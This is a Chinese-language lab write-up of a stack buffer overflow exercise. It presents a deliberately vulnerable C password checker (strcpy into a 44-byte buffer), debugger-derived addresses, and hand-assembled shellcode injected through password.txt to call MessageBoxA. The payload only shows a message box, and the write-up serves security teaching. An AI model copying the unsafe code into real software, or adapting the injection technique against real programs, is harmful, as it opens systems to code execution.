实验环境:
操作系统 | Windows7 |
IDE | VC 6.0 |
build版本 | debug |
任务:通过向password.txt中写入二进制机器代码,来调用MessageBoxA,弹出消息框。
用于实验的C语言代码:
#include<stdio.h>
#include<windows.h>
#define PASSWORD "1234567"
int verify_password(char * password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
在password.txt中写入数据。
通过OllyDbg打开.exe文件,调试,得到buffer数组的起始地址:0x0012FAB8
在0x0012FAE8处为该栈帧中的返回地址。
利用VC6的Tool Depends,可以得到如图信息:
USER32.dll 的基地址为0x77D10000,MessageBoxA的偏移地址为0x0005EA11。
得到MessageBoxA在内存中的入口地址为0x77D6EA11。
下面编写调用MessageBoxA函数的汇编代码:
XOR EBX, EBX(33DB)
PUSH EBX
PUSH 596F7521
PUSH 66756368
MOV EAX, ESP
PUSH EBX
PUSH EAX
PUSH EAX
PUSH EBX
MOV EAX, 0X77D6EA11
CALL EAX
上述汇编代码对应的机器代码略,因为上述汇编代码无法执行,因为在执行时找不到MessageBoxA函数的入口。
按照书上的步骤,寻找到的入口地址是错误的。
所以我将C语言代码小修改一下,如下。手动调用MessageBoxA函数。
LoadLibrary("user32.dll");
MessageBox(NULL,"123","123",NULL);
然后用OllyDbg调试新生成的PE文件。
找到入口地址为:75A8EA11
所以将上述汇编代码中的倒数第二句改为:
MOV EAX, 0x75A8EA11
这次汇编代码对应的机器代码为:
33DB
53
68 59 6F 75 21
68 66 75 63 6B
8B C4
53
50
50
53
B8 11 EA A8 75
FF D0
以十六进制编辑器打开password.txt,修改其内容为:
中间0x90(nop指令)为填充所用。
最后程序执行情况,如图:
点击确定后,出现下图:
因为调用MessageBoxA后,没有写用于安全退出的代码。